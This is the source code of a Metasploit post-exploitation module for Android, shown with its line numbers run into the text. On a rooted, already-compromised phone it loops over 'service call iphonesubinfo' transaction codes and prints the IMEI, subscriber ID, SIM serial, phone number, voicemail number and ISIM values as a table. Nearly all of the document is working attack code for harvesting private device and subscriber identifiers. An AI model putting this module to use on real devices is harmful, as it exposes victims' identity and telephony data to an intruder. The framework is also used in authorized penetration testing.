Path: blob/master/modules/post/android/gather/sub_info.rb
19592 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post67include Msf::Post::Common8include Msf::Post::Android::Priv9include Msf::Post::Android::System1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Extract Subscriber Info',16'Description' => %q{17This module displays the subscriber info stored on the target phone.18It uses call service to get values of each transaction code like IMEI, etc.19},20'License' => MSF_LICENSE,21'Author' => ['Auxilus'],22'SessionTypes' => [ 'meterpreter', 'shell' ],23'Platform' => 'android',24'Notes' => {25'Stability' => [CRASH_SAFE],26'SideEffects' => [],27'Reliability' => []28}29)30)31end3233def run34fail_with(Failure::NoAccess, 'This module requires root permissions.') unless is_root?3536@transaction_codes ||= [37'DeviceId',38'DeviceIdForSubscriber',39'ImeiForSubscriber',40'DeviceSvn',41'SubscriberId',42'SubscriberIdForSubscriber',43'GroupIdLevel1',44'GroupIdLevel1ForSubscriber',45'IccSerialNumber',46'IccSerialNumberForSubscriber',47'Line1Number',48'Line1NumberForSubscriber',49'Line1AlphaTag',50'Line1AlphaTagForSubscriber',51'Msisdn',52'MsisdnForSubscriber',53'VoiceMailNumber',54'VoiceMailNumberForSubscriber',55'CompleteVoiceMailNumber',56'CompleteVoiceMailNumberForSubscriber',57'VoiceMailAlphaTag',58'VoiceMailAlphaTagForSubscriber',59'IsimImpi',60'IsimDomain',61'IsimImpu',62'IsimIst',63'IsimPcscf',64'IsimChallengeResponse',65'IccSimChallengeResponse'66]67arr ||= []68for code in 1..@transaction_codes.length do69print_status("using code : #{code}")70block = cmd_exec("service call iphonesubinfo #{code}")71value, tc = get_val(block, code)72arr << [tc, value]73end7475tc_tbl = Rex::Text::Table.new(76'Header' => 'Subscriber info',77'Indent' => 1,78'Columns' => ['transaction code', 'value']79)8081arr.each do |a|82tc_tbl << [83a[0], # TRANSACTION CODE84a[1] # value85]86end87print_line(tc_tbl.to_s)88end8990def get_val(data, code)91parsed = data.gsub(/Parcel/, '')92string = ''93100.times do |i|94next if i % 2 == 09596str = parsed.split("'")[i]97break if str.nil?9899string += str100end101v = ''102string.split('.').each do |chr|103next if chr.nil? || (chr == "\n")104105v += chr106end107return v, @transaction_codes[code - 1]108end109end110111112